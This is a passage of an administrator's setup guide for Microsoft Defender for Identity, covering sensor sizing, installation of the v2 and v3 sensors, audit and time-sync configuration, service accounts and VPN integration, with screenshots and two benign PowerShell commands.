<img src="\security\identity\sizingtool2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="850" loading="lazy"/>
<p>A few common results are:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Result</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Yes</td>
<td>The sensor is supported.</td>
</tr>
<tr>
<td style="text-align:left">Yes, but additional resources required</td>
<td>Add missing resources.</td>
</tr>
<tr>
<td style="text-align:left">Maybe</td>
<td>Current Busy Packets/sec may be higher than average.</td>
</tr>
<tr>
<td style="text-align:left">Maybe, but additional resources required</td>
<td>Add specified resources or if Busy Packets/sec exceeds 60K.</td>
</tr>
<tr>
<td style="text-align:left">No</td>
<td>Sensor not supported.</td>
</tr>
<tr>
<td style="text-align:left">Missing OS Data</td>
<td>Unable to read OS data.</td>
</tr>
<tr>
<td style="text-align:left">Missing Traffic Data</td>
<td>Unable to read traffic data.</td>
</tr>
<tr>
<td style="text-align:left">Missing RAM data</td>
<td>Unable to read RAM data.</td>
</tr>
<tr>
<td style="text-align:left">Missing core data</td>
<td>Unable to read core data.</td>
</tr>
</tbody>
</table>
<details class="details custom-block"><summary>MDI sensor sizing estimation</summary>
<table>
<thead>
<tr>
<th style="text-align:center">Busy packets / second</th>
<th style="text-align:center">CPU<br>(physical cores)</th>
<th style="text-align:center">RAM</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">0-1k</td>
<td style="text-align:center">0.25</td>
<td style="text-align:center">2.50</td>
</tr>
<tr>
<td style="text-align:center">1k-5k</td>
<td style="text-align:center">0.75</td>
<td style="text-align:center">6.00</td>
</tr>
<tr>
<td style="text-align:center">5k-10k</td>
<td style="text-align:center">1.00</td>
<td style="text-align:center">6.50</td>
</tr>
<tr>
<td style="text-align:center">10k-20k</td>
<td style="text-align:center">2.00</td>
<td style="text-align:center">9.00</td>
</tr>
<tr>
<td style="text-align:center">20k-50k</td>
<td style="text-align:center">3.50</td>
<td style="text-align:center">9.50</td>
</tr>
<tr>
<td style="text-align:center">50k-75k</td>
<td style="text-align:center">5.50</td>
<td style="text-align:center">11.50</td>
</tr>
<tr>
<td style="text-align:center">75k-100k</td>
<td style="text-align:center">7.50</td>
<td style="text-align:center">13.50</td>
</tr>
</tbody>
</table>
<p>The CPU and RAM capacity refers to the sensor's consumption, not the servers capacity.</p>
</details>
<hr>
<h3 id="migrate-ata-mdi" tabindex="-1">Migrate ATA -&gt; MDI <a class="header-anchor" href="#migrate-ata-mdi" aria-label="Permalink to &quot;Migrate ATA -&gt; MDI&quot;">&ZeroWidthSpace;</a></h3>
<p>If your identity security still utilizes the local <strong>Advanced Threat Analytics (ATA)</strong> solution, moving from ATA to MDI modernizes your security with advanced analytics and automated remediations.</p>
<p>Unlike ATA, MDI uses <strong>Event Tracing for Windows (ETW)</strong> to provide more in-depth detection functionality, correlating threats with all the other security signals in the Defender security stack.</p>
<p>So it is highly recommended to switch to this modern, more secure and up to date security solution.</p>
<p>If you need guidance on how to Migrate, Microsoft provides migration information <a href="https://learn.microsoft.com/en-us/defender-for-identity/migrate-from-ata-overview" target="_blank" rel="noreferrer">here</a>.</p>
<h2 id="installation" tabindex="-1">💿 Installation <a class="header-anchor" href="#installation" aria-label="Permalink to &quot;:cd: Installation&quot;">&ZeroWidthSpace;</a></h2>
<h3 id="getting-started" tabindex="-1">Getting started <a class="header-anchor" href="#getting-started" aria-label="Permalink to &quot;Getting started&quot;">&ZeroWidthSpace;</a></h3>
<p>To get started with Defender for Identity you first need to have a license activated in your tenant.
Otherwise the <span style="color:crimson"><strong>Identity</strong></span> sections will not be visible in the Defender portal.</p>
<img src="\security\identity\nolicense.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>If you have a license and navigate to your <strong>Defender portal</strong>, the <strong>Identity</strong> section takes a moment to appear.</p>
<p>After the <strong>Identity</strong> section is visible and you navigate to <strong>Settings</strong> -&gt; <strong>Identity</strong>, the <span style="color:crimson">Defender for Identity Workspace</span> will get prepared.</p>
<img src="\security\identity\SettingsWorkspace.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<div class="tip custom-block"><p class="custom-block-title">Which Sensor version is right for me?</p>
<p>The new sensor (v3 / unified sensor) is integrated directly into Windows Server with Defender for Endpoint, eliminating separate installation steps, addtional port openings and a separate update channel, using the standard Windows update cycle.
Version v3 is recommended when onboarding new domain controllers, but there is no need to update existing MDI environments.</p>
<p>Here you find a comparison table between the two sensor versions:</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>Classic Sensor (v2)</th>
<th>New Sensor (v3)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Installation</td>
<td>Separate download &amp; installation</td>
<td>Built-in to Windows Server</td>
</tr>
<tr>
<td>OS Support</td>
<td>Windows Server 2012 R2 and later<br>(2012 R2 functionality is limited due to the OS.)</td>
<td>Windows Server 2019 and later</td>
</tr>
<tr>
<td>Network Ports</td>
<td>Requires additional ports to be opened for communication with the cloud service (look <a href="https://learn.microsoft.com/en-us/defender-for-identity/deploy/prerequisites-sensor-version-2#required-ports" target="_blank" rel="noreferrer">here</a>)</td>
<td>Uses the same ports as Defender for Endpoint, no additional ports needed</td>
</tr>
<tr>
<td>Update Method</td>
<td>Separate update channel</td>
<td>Standard Windows Update cycle</td>
</tr>
<tr>
<td>Name Resolution</td>
<td>Local protocols (NetBIOS, WINS)</td>
<td>Cloud-based NNR via Defender data</td>
</tr>
<tr>
<td>Management</td>
<td>Standalone agent management</td>
<td>Unified with Defender for Endpoint (MDE)</td>
</tr>
<tr>
<td>AD permissions</td>
<td>Requires account with read acces to the whole directory to get full functionallity</td>
<td>Uses Local System identity</td>
</tr>
</tbody>
</table>
<p><span style="color:crimson">Be aware that if you got the 2.x sensor alreaddy installed, you won`t be able to deploy the 3.x sensor on the same server, without removing the old one first.</span></p>
<p>And here is a decision tree to help you decide which sensor version to use:</p>
<img src="\security\identity\MDISensor.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>Current limitations of sensor v3:</p>
<ul>
<li>Server needs Defender for Endpoint deployed</li>
<li>Doesn't support VPN integration</li>
<li>Doesn't support ExpressRoute</li>
</ul>
<p>Microsoft is activly working on closing the gaps between the two sensors, providing a migration functionality and support for running v3 without Defender for Endpoint in the future.</p>
</div>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>You should install MDI sensors on all DC's (including RODC's) and on every AD FS, AD CS or Microsoft Entra Connect server in your environment to get full visibility and protection.</p>
</div>
<hr>
<h3 id="sensor-2-x-installation" tabindex="-1">Sensor 2.x Installation <a class="header-anchor" href="#sensor-2-x-installation" aria-label="Permalink to &quot;Sensor 2.x Installation&quot;">&ZeroWidthSpace;</a></h3>
<p>After your Workspace is prepared, you can start installing MDI sensors.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you are using a Virtual Machine, ensure the following settings are configured:</p>
<table>
<thead>
<tr>
<th>VM running on</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hyper-V</td>
<td>Ensure that Enable Dynamic Memory isn't enabled for the VM.</td>
</tr>
<tr>
<td>VMware</td>
<td>Ensure that the amount of memory configured and the reserved memory are the same, or select the 'Reserve all guest memory (All locked)' option in the VM settings.</td>
</tr>
<tr>
<td>Other virtualization host</td>
<td>Refer to the vendor supplied documentation on how to ensure that memory is fully allocated to the VM at all times.</td>
</tr>
</tbody>
</table>
</div>
<ol>
<li>Under <strong>General</strong> -&gt; <strong>Sensors</strong> you click <code>Add sensor</code> and get the question about which sensor version you want to install.</li>
</ol>
<img src="\security\identity\2xSensor0.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<ol start="2">
<li>If you click <code>Continue with the classic sensor</code> you can download the 2.x installer and get the <strong>Access Key</strong> you need during installation.</li>
</ol>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can download the installer only directly from the portal.</p>
</div>
<img src="\security\identity\2xSensor3_2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="3">
<li>When starting the installer you select your language and click <code>Next</code>.</li>
</ol>
<img src="\security\identity\2xSensor1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="4">
<li>Next you get the option of which type of installation you can perform. On a Domain Controller (as in the screenshot), a standalone MDI server or a AD FS / AD CS / Entra Connect server.</li>
</ol>
<img src="\security\identity\2xSensor2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="5">
<li>After clicking <code>Next</code>, you select the installation path, enter the <strong>Access key</strong> shown to you in the portal and click <code>Install</code>.</li>
</ol>
<img src="\security\identity\2xSensor3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<img src="\security\identity\2xSensor4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="6">
<li>After the Installation completes you can find the Sensor in the <strong>Sensors</strong> list in the portal.</li>
</ol>
<img src="\security\identity\2xSensor5.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<hr>
<h3 id="sensor-3-x-installation" tabindex="-1">Sensor 3.x Installation <a class="header-anchor" href="#sensor-3-x-installation" aria-label="Permalink to &quot;Sensor 3.x Installation&quot;">&ZeroWidthSpace;</a></h3>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you are using a Virtual Machine, ensure the following settings are configured:</p>
<table>
<thead>
<tr>
<th>VM running on</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hyper-V</td>
<td>Ensure that Enable Dynamic Memory isn't enabled for the VM.</td>
</tr>
<tr>
<td>VMware</td>
<td>Ensure that the amount of memory configured and the reserved memory are the same, or select the 'Reserve all guest memory (All locked)' option in the VM settings.</td>
</tr>
<tr>
<td>Other virtualization host</td>
<td>Refer to the vendor supplied documentation on how to ensure that memory is fully allocated to the VM at all times.</td>
</tr>
</tbody>
</table>
</div>
<ol>
<li>To install the new sensor, you go to the <strong>Defender Portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and select the <strong>Activation</strong> blade.
Here you will see all the server with defender for endpoint in your environment that are eligible for the new sensor.</li>
<li>Select the server and click <code>+ Activate</code> to start the activation process.</li>
</ol>
<img src="\security\identity\3xSensor1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>Confirm the activation by clicking <code>Activate</code> in the pop-up.</li>
</ol>
<img src="\security\identity\3xSensor2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="4">
<li>After that, the portal will confirm the successful activation.</li>
</ol>
<img src="\security\identity\3xSensor3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="650" loading="lazy"/>
<ol start="5">
<li>The new sensor can then be found in the sensor list.</li>
</ol>
<img src="\security\identity\after3_Sensors.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<hr>
<h2 id="configuration" tabindex="-1">⚙️ Configuration <a class="header-anchor" href="#configuration" aria-label="Permalink to &quot;:gear: Configuration&quot;">&ZeroWidthSpace;</a></h2>
<p>You should set up a few recommended settings for MDI now:</p>
<hr>
<h3 id="audit-settings" tabindex="-1">Audit settings <a class="header-anchor" href="#audit-settings" aria-label="Permalink to &quot;Audit settings&quot;">&ZeroWidthSpace;</a></h3>
<p>To configure the audit settings required for MDI to detect suspicious activity, you can use PowerShell, Group Policy, or if you are deploying the new sensor (v3.x), leverage the Automatic Windows auditing configuration feature.</p>
<p>The following audits are required to set up either way for Domain controllers:</p>
<ul>
<ul>
<li>Directory services advanced auditing</li>
<li>NTLM auditing</li>
<li>Domain object auditing</li>
</ul>
</ul>
<ol>
<li>
<p>The automatic option</p>
<p>The automatic option applies the same settings you would configure manually, with the added benefit of checking every 24 hours for any configuration drift and automatically correcting it.
You can set it up in the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a>, select <strong>Advanced features</strong> and turn <span style="color:crimson">Automatic Windows auditing configuration</span> on.</p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>Currently this is still in preview as of February 2026, but works perfectly in my experience.</p>
</div>
</li>
</ol>
<img src="\security\identity\Settings2.png" style="float: normal; margin-right: 1em; margin-left: 1.5em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/>
<ol start="2">
<li>
<p>The PowerShell option</p>
<p>To use the powershell option you first need to install the <span style="color:crimson">MDI powershell module</span> on your server.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Install-Module</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name DefenderForIdentity</span></span></code></pre>
</div><p>Then you can use the following command to generate a report of all the settings and their configuration commands.
These also need to be run.</p>
<div class="language-powershell vp-adaptive-theme"><button title="Copy Code" class="copy"></button><span class="lang">powershell</span><pre class="shiki shiki-themes github-light github-dark vp-code" v-pre=""><code><span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-MDIConfigurationReport</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"C:\Reports"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Mode </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Domain"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Identity </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"DOMAIN\AdminAccount"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">OpenHtmlReport</span></span></code></pre>
</div></li>
</ol>
<img src="\security\identity\MDIReport.png" style="float: normal; margin-right: 1em; margin-left: 1.5em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<ol start="3">
<li>
<p>The Group Policy option</p>
<p>To configure MDI via group policy, set up a new policy on your server by starting Group Policy Management and navigating to:</p>
<p><strong>Computer Configuration</strong> -&gt; <strong>Policies</strong> -&gt; <strong>Windows Settings</strong> -&gt; <strong>Security Settings</strong></p>
<p>Configure the settings as described in the Microsoft documentation: <a href="https://learn.microsoft.com/en-gb/defender-for-identity/deploy/configure-windows-event-collection#configure-directory-services-advanced-auditing" target="_blank" rel="noreferrer">Configure Windows event auditing</a>.</p>
</li>
</ol>
<hr>
<h3 id="configure-rpc-auditing" tabindex="-1">Configure RPC auditing <a class="header-anchor" href="#configure-rpc-auditing" aria-label="Permalink to &quot;Configure RPC auditing&quot;">&ZeroWidthSpace;</a></h3>
<p>Microsoft introduced a new RPC (Remote Procedure Call) Health alert for the new sensor (v3.x).
This will monitor the RPC configuration on your MDI devices and should improve the detection accuracy and security coverage.
For this you need to apply a tag to your sensor 3.x devices, which will enforce the configuration automatically.</p>
<ol>
<li>To configure the tag, open the <strong>Defender Portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/defenderxdr" target="_blank" rel="noreferrer">Microsoft Defender XDR</a> -&gt; <strong>Asset Rule Management</strong> and click <code>➕ Create a new rule</code>.</li>
<li>Enter a <strong>Rule name</strong>, <strong>Description</strong> and click <code>Next</code>.</li>
</ol>
<img src="\security\identity\RPCAudit1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>Create rules to target the servers with the v3 sensor and click <code>Next</code>.</li>
</ol>
<img src="\security\identity\RPCAudit2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="750" loading="lazy"/>
<ol start="4">
<li>Add the tag <code>Unified Sensor RPC Audit</code> and click <code>Next</code>.</li>
</ol>
<img src="\security\identity\RPCAudit3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="5">
<li>On the last page of the wizard you do not only see a summary of the settings you just created, but also the amount of devices that will be affected.
If everything looks good, click <code>Submit</code> to create the rule.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\security\identity\RPCAudit4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/></th>
<th><img src="\security\identity\RPCAudit5.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="6">
<li>The new rule will then be visible in the list together with its last run time and status.</li>
</ol>
<img src="\security\identity\RPCAudit6.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="7">
<li>If you display the 'Tags' column in the device overview under <strong>Assets</strong> -&gt; <strong>Devices</strong>, you will also be able find the newly applied tag there.</li>
</ol>
<img src="\security\identity\RPCAudit7.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Be aware that the tag is also automatically applied to all future devices that match your rules.</p>
</div>
<hr>
<h3 id="power-settings" tabindex="-1">Power settings <a class="header-anchor" href="#power-settings" aria-label="Permalink to &quot;Power settings&quot;">&ZeroWidthSpace;</a></h3>
<p>No matter which sensor version you are using, set the Power options on the server to <strong>High Performance</strong> to ensure the best performance.
You can do that either in the Control Panel of the server directly or via your policy of choice (Group Policy, Azure Arc etc.).</p>
<img src="\security\identity\power.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<hr>
<h3 id="time-synchronization" tabindex="-1">Time synchronization <a class="header-anchor" href="#time-synchronization" aria-label="Permalink to &quot;Time synchronization&quot;">&ZeroWidthSpace;</a></h3>
<p>All servers and domain controllers with an MDI sensor should have system times that are within five minutes of each other to make sure the sensors work properly.</p>
<p>To set that up you need to create a Group Policy and link that to your MDI Servers.</p>
<ol>
<li>Open the Group Policy Editor for your Domain and create a new Group Policy Object.</li>
<li>Go to <strong>Computer Configuration</strong> -&gt; <strong>Administrative Templates</strong> -&gt; <strong>System</strong> -&gt; <strong>Windows Time Service</strong> -&gt; <strong>Time Providers</strong> and set all settings to <code>Enabled</code> with standard settings.</li>
</ol>
<img src="\security\identity\timesync.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>Next got to <strong>Computer Configuration</strong> -&gt; <strong>Preferences</strong> -&gt; <strong>Control Panel Settings</strong> -&gt; <strong>Services</strong> and create a new Service.
Set the Service up as shown in the Screenshot below.</li>
</ol>
<img src="\security\identity\timesync2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="4">
<li>Now close the Policy editor and link the GPO to the OU where your MDI Server's are.</li>
</ol>
<hr>
<h3 id="network-name-resolution-nnr" tabindex="-1">Network Name Resolution (NNR) <a class="header-anchor" href="#network-name-resolution-nnr" aria-label="Permalink to &quot;Network Name Resolution (NNR)&quot;">&ZeroWidthSpace;</a></h3>
<p>As a core component of MDI, <span style="color:crimson">NNR maps raw network data and IP addresses to specific devices</span>.
This correlation allows for more precise event attribution and more effective threat investigation.</p>
<p>MDI sensor v3.x uses the Defender device inventory for name resolution, requiring no additional configuration or port openings.</p>
<p>MDI sensor v2.x uses network traffic and TCP fingerprinting to map IP addresses to device objects by correlating computer names with Active Directory.
For this, the sensor uses a few methods:</p>
<p>Primary methods:</p>
<ul>
<li>NTLM over RPC (TCP Port 135)</li>
<li>NetBIOS (UDP port 137)</li>
<li>RDP (TCP port 3389) - only the first packet of Client hello</li>
</ul>
<p>Secondary method:</p>
<ul>
<li>Queries the DNS server using reverse DNS lookup of the IP address (UDP 53)</li>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you need more information on how to configure the methods for the 2.x sensor, click <a href="https://learn.microsoft.com/en-us/defender-for-identity/nnr-policy#configuration-recommendations" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<h3 id="manage-sensor-settings" tabindex="-1">Manage Sensor settings <a class="header-anchor" href="#manage-sensor-settings" aria-label="Permalink to &quot;Manage Sensor settings&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>To manage your individual sensors you can go to the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and click on the sensor of your choosing.</li>
<li>This will trigger the opening of a details pane on the right side with more information about the sensor and its status.</li>
<li>On the bottom of the pane select <code>Manage sensor</code> to open another pane where you can configure sensor details.</li>
<li>You can optionally enter a <strong>Description</strong> to provide more information about the sensor, but you must ensure that the <strong>Domain controller</strong> field is filled in and that, in the case of a v2 sensor, at least one of the <strong>Network adapters</strong> is selected.</li>
</ol>
<table>
<thead>
<tr>
<th>sensor v2.x</th>
<th>sensor v3.x</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\security\identity\managev2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
<td><img src="\security\identity\managev3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></td>
</tr>
</tbody>
</table>
<hr>
<h3 id="directory-services-accounts-dsa" tabindex="-1">Directory services accounts (DSA) <a class="header-anchor" href="#directory-services-accounts-dsa" aria-label="Permalink to &quot;Directory services accounts (DSA)&quot;">&ZeroWidthSpace;</a></h3>
<p>You can set up a read only directory service account for your MDI sensor to connect to the domain controller.
Even so the MDI service and updater will use a local account regardless, there are scenarios where a DSA can be nessecary.</p>
<ul>
<ul>
<li>Sensors installed on AD FS or AD CS servers.</li>
<li>Accessing the DeletedObjects container to gather information on deleted users and computers.</li>
<li>Domain and trust mapping.</li>
<li>Querying another domains over LDAP when activity from someone out of this other domain is detected.</li>
</ul>
</ul>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Your DSA accounts must have read permissions across all domains in the forest.</p>
</div>
<ol>
<li>To add a DSA, you go to the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and navigate to <strong>Directory services accounts</strong>.</li>
<li>Here you click <code>➕ Add credentials</code> and enter your account details into the flyout that appears on the right side.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\security\identity\Settings-DirectoryServicesAccounts.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/></th>
<th><img src="\security\identity\Settings-DirectoryServicesAccounts2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you don't have a DSA account yet, here's some information to help you decide whether you need one.</p>
<ol>
<li>To use the build in service account, you do not need to configure a DSA at all, but be aware, that this does not support LDAP queries to other domains (regardless if it is in the same forest or not).</li>
<li>U can also use a normal user account, which I would not recommend, because of the manual management.</li>
<li>Or you can use a Group Managed Service Account (gMSA), which is also the Microsoft recommended way.</li>
</ol>
<table>
<thead>
<tr>
<th style="text-align:center"></th>
<th style="text-align:center">AD FS/<br>AD CS</th>
<th style="text-align:center">DeletedObjects<br>container</th>
<th style="text-align:center">Domain &amp; Trust<br>Mapping</th>
<th style="text-align:center">LDAP to<br>other Domains</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">Local<br>Service Account</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">❌</td>
</tr>
<tr>
<td style="text-align:center">User Account</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
</tr>
<tr>
<td style="text-align:center">gMSA</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
<td style="text-align:center">✔️</td>
</tr>
</tbody>
</table>
<p><a href="https://learn.microsoft.com/en-gb/defender-for-identity/deploy/create-directory-service-account-gmsa" target="_blank" rel="noreferrer">Here</a> you will find a complete guide on how to create the gMSA needed.</p>
</div>
<hr>
<h3 id="manage-action-accounts" tabindex="-1">Manage action accounts <a class="header-anchor" href="#manage-action-accounts" aria-label="Permalink to &quot;Manage action accounts&quot;">&ZeroWidthSpace;</a></h3>
<p>You can set up a separate management account in the case you do not want to utilize the sensors local system account for MDI response actions (e.g. Attack disruption in the AD).
But be aware, that only the v2.x sensor supports separate management accounts. If you enable this gMSA account on a Server with a v3.x sensor, response actions will not work.
If possible, use the default MDI Local System Account for response actions across the board.</p>
<ol>
<li>To add your individual management account you go to the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and navigate to <strong>Management action accounts</strong>.</li>
<li>Here you set the option to <code>Manually configure your management accounts</code> and enter your account details into the flyout that appears on the right side.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\security\identity\Settings3.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="550" loading="lazy"/></th>
<th><img src="\security\identity\Settings4.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="350" loading="lazy"/></th>
</tr>
</thead>
</table>
<div class="info custom-block"><p class="custom-block-title">Best practices for action accounts</p>
<ul>
<li>Don't use the same account on DC servers and non DC servers (risk of credential exposure)</li>
<li>Don't use the same account for both Directory Service (read-only permissions) and Managed Action (write permissions)</li>
<li>For multi-forest environments, ensure the account is trusted across all forests or create separate accounts per forest</li>
</ul>
</div>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>If you want to learn how to create a dedicated management account in your domain, click <a href="https://learn.microsoft.com/en-gb/defender-for-identity/deploy/manage-action-accounts#create-and-configure-a-specific-action-account" target="_blank" rel="noreferrer">here</a>.</p>
</div>
<hr>
<h3 id="vpn" tabindex="-1">VPN <a class="header-anchor" href="#vpn" aria-label="Permalink to &quot;VPN&quot;">&ZeroWidthSpace;</a></h3>
<p>Microsoft Defender for Identity integrates with VPN solutions by ingesting <strong>RADIUS</strong> events (RFC 2866).
These events include details such as source IP addresses and connection locations.</p>
<p>Supported VPN vendors are:</p>
<ul>
<ul>
<li>Microsoft</li>
<li>F5</li>
<li>Check Point</li>
<li>Cisco ASA</li>
</ul>
</ul>
<ol>
<li>To integrate your VPN you go to the <strong>Defender portal</strong> -&gt; <strong>System</strong> -&gt; <strong>Settings</strong> -&gt; <a href="https://security.microsoft.com/securitysettings/identities" target="_blank" rel="noreferrer">Identities</a> and navigate to <strong>VPN</strong>.</li>
<li>Here you set the option to <code>Enable RADIUS accounting</code> and enter the shared secret you need to configure beforehand in your VPN solution.</li>
</ol>
<img src="\security\identity\Settings-VPN.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Be aware, that VPN integration is not supported in FIPS-compliant environments.</p>
</div>
<hr>
<h3 id="adjust-alerts-thresholds" tabindex="-1">Adjust alerts thresholds <a class="header-anchor" href="#adjust-alerts-thresholds" aria-label="Permalink to &quot;Adjust alerts thresholds&quot;">&ZeroWidthSpace;</a></h3>
<p>Some Microsoft Defender for Identity (MDI) alerts use a learning period to understand what normal activity looks like in your environment.
After that, they can better detect suspicious behavior.
